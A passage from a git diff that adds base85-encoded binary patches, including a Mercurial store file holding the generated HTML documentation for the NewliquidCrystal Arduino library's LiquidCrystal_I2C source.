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 literal 0 HcmV?d00001 diff --git a/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8cpp__source.html.i b/libraries/NewliquidCrystal/.hg/store/data/docs/html/__liquid__crystal______i2__c__8cpp__source.html.i new file mode 100644 index 0000000000000000000000000000000000000000..6bca326143339367223190f211f9bc01bbad5704 GIT binary patch literal 32147 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 